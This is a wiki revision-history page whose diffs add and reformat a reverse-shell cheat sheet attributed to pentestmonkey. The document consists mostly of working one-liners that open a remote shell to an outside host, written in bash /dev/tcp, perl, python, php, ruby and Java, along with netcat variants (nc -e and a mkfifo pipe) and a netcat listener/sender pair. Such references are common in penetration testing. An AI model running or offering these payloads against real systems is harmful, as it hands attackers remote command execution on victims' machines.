Netcat Pushingcats - Revision history

Snifer at 07:47, 14 December 2012

2012-12-14T07:47:24Z

Snifer at 07:44, 14 December 2012

2012-12-14T07:44:46Z

Snifer at 07:43, 14 December 2012

2012-12-14T07:43:32Z

Snifer at 07:42, 14 December 2012

2012-12-14T07:42:40Z

Snifer at 07:41, 14 December 2012

2012-12-14T07:41:34Z

Snifer at 07:41, 14 December 2012

2012-12-14T07:41:13Z

Snifer at 07:40, 14 December 2012

2012-12-14T07:40:13Z

Snifer: /* Netcat Send connection. */

2012-09-01T05:32:52Z

‎Netcat Send connection.

Snifer: /* Netcat Send connection. */

2012-09-01T05:32:00Z

‎Netcat Send connection.

Snifer at 03:47, 1 September 2012

2012-09-01T03:47:12Z

@@ Line 45: / Line 45: @@
 ===== PERL =====
-Here’s a shorter, feature-free version of the perl-reverse-shell:
+Here’s a shorter, feature-free version of the [http://pentestmonkey.net/tools/web-shells/perl-reverse-shell perl-reverse-shell]:
 <pre>
 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

@@ Line 35: / Line 35: @@
 </pre>
 ------------------
-===== Pentestmonkey =====
+==== Pentestmonkey ====
-Bash
+===== Bash =====
 Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
@@ Line 43: / Line 43: @@
 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
 </pre>
-PERL
+===== PERL =====
 Here’s a shorter, feature-free version of the perl-reverse-shell:
@@ Line 50: / Line 50: @@
 </pre>
 There’s also an alternative PERL revere shell here.
-Python
+===== Python =====
 This was tested under Linux / Python 2.7:
@@ Line 56: / Line 56: @@
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 </pre>
-PHP
+===== PHP =====
 This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
@@ Line 63: / Line 63: @@
 </pre>
 If you want a .php file to upload, see the more featureful and robust [http://pentestmonkey.net/tools/web-shells/php-reverse-shell php-reverse-shell].
-Ruby
+===== Ruby =====
 <pre>
 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 </pre>
-Netcat
+===== Netcat =====
 Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
 <pre>
@@ Line 76: / Line 77: @@
 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
 </pre>
-Java
+===== Java =====
 <pre>
 r = Runtime.getRuntime()
@@ Line 83: / Line 84: @@
 </pre>
+----------
 [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet Source]

@@ Line 34: / Line 34: @@
 /bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2
 </pre>
---------------
+------------------
-Pentestmonkey
+===== Pentestmonkey =====
 Bash

@@ Line 34: / Line 34: @@
 /bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2
 </pre>
 Bash
 Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
 <pre>
@@ Line 41: / Line 44: @@
 </pre>
 PERL
 Here’s a shorter, feature-free version of the perl-reverse-shell:
 <pre>
@@ Line 47: / Line 51: @@
 There’s also an alternative PERL revere shell here.
 Python
 This was tested under Linux / Python 2.7:
 <pre>
@@ Line 52: / Line 57: @@
 </pre>
 PHP
 This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
 <pre>

@@ Line 76: / Line 76: @@
 p.waitFor()
 </pre>
-============
 [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet Source]

@@ Line 78: / Line 78: @@
 [Untested submission from anonymous reader]
-==============
+============
 [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet Source]

← Older revision		Revision as of 07:40, 14 December 2012
Line 34:		Line 34:
	/bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2		/bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2
	</pre>		</pre>
		+
		+	Bash
		+	Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
		+	<pre>
		+	bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
		+	</pre>
		+	PERL
		+	Here’s a shorter, feature-free version of the perl-reverse-shell:
		+	<pre>
		+	perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
		+	</pre>
		+	There’s also an alternative PERL revere shell here.
		+	Python
		+	This was tested under Linux / Python 2.7:
		+	<pre>
		+	python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
		+	</pre>
		+	PHP
		+	This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
		+	<pre>
		+	php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
		+	</pre>
		+	If you want a .php file to upload, see the more featureful and robust [http://pentestmonkey.net/tools/web-shells/php-reverse-shell php-reverse-shell].
		+	Ruby
		+	<pre>
		+	ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
		+	</pre>
		+	Netcat
		+	Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
		+	<pre>
		+	nc -e /bin/sh 10.0.0.1 1234
		+	</pre>
		+	If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
		+	<pre>
		+	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/sh -i 2>&1\|nc 10.0.0.1 1234 >/tmp/f
		+	</pre>
		+	Java
		+	<pre>
		+	r = Runtime.getRuntime()
		+	p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 \| while read line; do \$line 2>&5 >&5; done"] as String[])
		+	p.waitFor()
		+	</pre>
		+	[Untested submission from anonymous reader]
		+
		+	==============
		+	[http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet Source]

@@ Line 11: / Line 11: @@
-==== Netcat Send connection. ====
+==== Netcat Send Shell to listener. ====
 ----
-'''Listenner'''
+'''Listener'''
 <pre>
 #nc -l -n -vv -p 8888

@@ Line 20: / Line 20: @@
 '''Sender'''
 <pre>
-#/bin/bash -i > /dev/tcp/158.345.234.122/8888 0<&1 2>&1
+#/bin/bash -i > /dev/tcp/22.222.22.222/8888 0<&1 2>&1
 </pre>

@@ Line 23: / Line 23: @@
 </pre>
-'''Another method of reverse shell in bash'''<br />
+==== Another method of reverse shell in bash ====
 st method, you get the prompt “as if you were here”, but commands are echoed :